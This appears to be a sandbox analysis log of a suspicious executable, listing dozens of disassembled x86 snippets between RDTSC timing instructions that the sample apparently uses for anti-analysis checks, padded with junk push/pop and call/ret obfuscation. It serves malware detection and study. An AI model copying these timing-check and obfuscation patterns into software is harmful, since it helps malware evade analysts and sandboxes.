Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A95F second address: 49A9B7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F25EC6CB8F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 58FDD1FBh 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F25EC6CB8E8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b call 00007F25EC6CB8E9h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 je 00007F25EC6CB8E6h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A9B7 second address: 49A9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A9BB second address: 49A9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A9C1 second address: 49A9F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F25ED41A9FEh 0x00000012 jmp 00007F25ED41A9F8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A9F9 second address: 49AA3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F25EC6CB8EDh 0x00000008 jmp 00007F25EC6CB8F7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push esi 0x00000015 push esi 0x00000016 jnc 00007F25EC6CB8E6h 0x0000001c pop esi 0x0000001d pop esi 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 pushad 0x00000022 jo 00007F25EC6CB8E6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AA3D second address: 49AA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F25ED41A9F6h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F25ED41A9E8h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AB52 second address: 49AB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49ABF1 second address: 49ABF7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B328 second address: 49B32E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B32E second address: 49B363 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F25ED41A9F8h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jmp 00007F25ED41A9F2h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B363 second address: 49B368 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B501 second address: 49B507 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B507 second address: 49B521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25EC6CB8F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B754 second address: 49B7A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F25ED41A9E8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 lea eax, dword ptr [ebp+1248C032h] 0x0000002d mov edx, 3AACF6A2h 0x00000032 push eax 0x00000033 pushad 0x00000034 push edi 0x00000035 pushad 0x00000036 popad 0x00000037 pop edi 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B7A0 second address: 47B8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D2A1Dh] 0x0000000f mov ecx, ebx 0x00000011 call dword ptr [ebp+122D35D0h] 0x00000017 push esi 0x00000018 pushad 0x00000019 jc 00007F25EC6CB8E6h 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F25EC6CB8F3h 0x00000026 popad 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3EEC second address: 4D3F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9F1h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3F08 second address: 4D3F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3F0C second address: 4D3F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3F12 second address: 4D3F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F25EC6CB8F0h 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3F31 second address: 4D3F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4071 second address: 4D4076 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D41CA second address: 4D41D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F25ED41A9E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4362 second address: 4D437E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F25EC6CB8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F25EC6CB8EEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D437E second address: 4D4382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4382 second address: 4D43C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8EFh 0x00000007 jmp 00007F25EC6CB8EEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F25EC6CB8EBh 0x00000015 jmp 00007F25EC6CB8EDh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D43C0 second address: 4D43E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9F9h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D451D second address: 4D452B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F25EC6CB8E6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D452B second address: 4D4538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F25ED41A9E6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D483A second address: 4D4841 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4841 second address: 4D486B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F25ED41AA01h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E859 second address: 44E862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D85A3 second address: 4D85A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D85A7 second address: 4D85AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D86FD second address: 4D8703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8703 second address: 4D8707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA893 second address: 4DA8AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F25ED41A9E6h 0x00000009 jmp 00007F25ED41A9EDh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA8AE second address: 4DA8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA8B4 second address: 4DA8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA8B8 second address: 4DA8ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F25EC6CB8ECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jo 00007F25EC6CB917h 0x00000013 jne 00007F25EC6CB8F7h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA8ED second address: 4DA8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DAA4F second address: 4DAA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F25EC6CB8E6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF6B4 second address: 4DF6D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F25ED41A9E6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF6D3 second address: 4DF6F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F25EC6CB8F4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF996 second address: 4DF99C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFAF7 second address: 4DFB27 instructions: 0x00000000 rdtsc 0x00000002 js 00007F25EC6CB8E6h 0x00000008 jg 00007F25EC6CB8E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F25EC6CB8F1h 0x00000015 push ecx 0x00000016 jmp 00007F25EC6CB8ECh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFCC0 second address: 4DFCDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnl 00007F25ED41A9E6h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jng 00007F25ED41A9E6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFE79 second address: 4DFE7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0BB second address: 49B188 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F25ED41A9F1h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F25ED41AA06h 0x00000012 pushad 0x00000013 jmp 00007F25ED41A9F8h 0x00000018 jp 00007F25ED41A9E6h 0x0000001e popad 0x0000001f nop 0x00000020 mov dword ptr [ebp+122D19B6h], edx 0x00000026 mov ebx, dword ptr [ebp+1248C071h] 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F25ED41A9E8h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D307Ch], esi 0x0000004c add eax, ebx 0x0000004e je 00007F25ED41A9ECh 0x00000054 mov ecx, dword ptr [ebp+122D2965h] 0x0000005a nop 0x0000005b jp 00007F25ED41A9F7h 0x00000061 push eax 0x00000062 push eax 0x00000063 jmp 00007F25ED41A9F9h 0x00000068 pop eax 0x00000069 nop 0x0000006a mov edx, 0CADFB92h 0x0000006f push 00000004h 0x00000071 jp 00007F25ED41A9ECh 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jns 00007F25ED41A9E6h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B188 second address: 49B18C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFFCE second address: 4DFFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F25ED41A9E6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0AE7 second address: 4E0AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0AED second address: 4E0B01 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F25ED41A9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F25ED41A9E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0B01 second address: 4E0B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0B05 second address: 4E0B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0B0F second address: 4E0B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F25EC6CB8E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0B19 second address: 4E0B39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E463D second address: 4E4642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4642 second address: 4E465F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25ED41A9F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E465F second address: 4E4663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3F70 second address: 4E3F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3F7C second address: 4E3F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007F25EC6CB8E6h 0x0000000c popad 0x0000000d pushad 0x0000000e jc 00007F25EC6CB8E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40DC second address: 4E40E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5C3C second address: 4E5C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8BB5 second address: 4E8BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8BB9 second address: 4E8C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F25EC6CB8F7h 0x0000000d pushad 0x0000000e jmp 00007F25EC6CB8F5h 0x00000013 push eax 0x00000014 pop eax 0x00000015 jnc 00007F25EC6CB8E6h 0x0000001b popad 0x0000001c popad 0x0000001d push edx 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pop edx 0x00000022 pushad 0x00000023 jmp 00007F25EC6CB8F3h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8C13 second address: 4E8C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8D7C second address: 4E8D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F25EC6CB8E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FE7 second address: 4E8FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9EFh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FFB second address: 4E9005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F25EC6CB8E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9005 second address: 4E9031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F25ED41A9F7h 0x00000011 pop ebx 0x00000012 jo 00007F25ED41A9F2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9031 second address: 4E9037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9308 second address: 4E9324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F25ED41A9F5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE581 second address: 4EE5A2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F25EC6CB8F7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE5A2 second address: 4EE5A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE5A9 second address: 4EE5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8F8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE5CA second address: 4EE5CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE722 second address: 4EE791 instructions: 0x00000000 rdtsc 0x00000002 js 00007F25EC6CB8E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F25EC6CB8F5h 0x00000011 pushad 0x00000012 jnp 00007F25EC6CB8E6h 0x00000018 jmp 00007F25EC6CB8EFh 0x0000001d pushad 0x0000001e popad 0x0000001f push edi 0x00000020 pop edi 0x00000021 popad 0x00000022 popad 0x00000023 push ecx 0x00000024 pushad 0x00000025 jmp 00007F25EC6CB8F9h 0x0000002a jmp 00007F25EC6CB8F5h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE791 second address: 4EE7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F25ED41A9EFh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EECEE second address: 4EECF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EEFC4 second address: 4EEFCE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F25ED41A9EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF520 second address: 4EF536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25EC6CB8F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF536 second address: 4EF540 instructions: 0x00000000 rdtsc 0x00000002 js 00007F25ED41A9E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF540 second address: 4EF549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF549 second address: 4EF553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EFAD2 second address: 4EFAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EFAD6 second address: 4EFADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
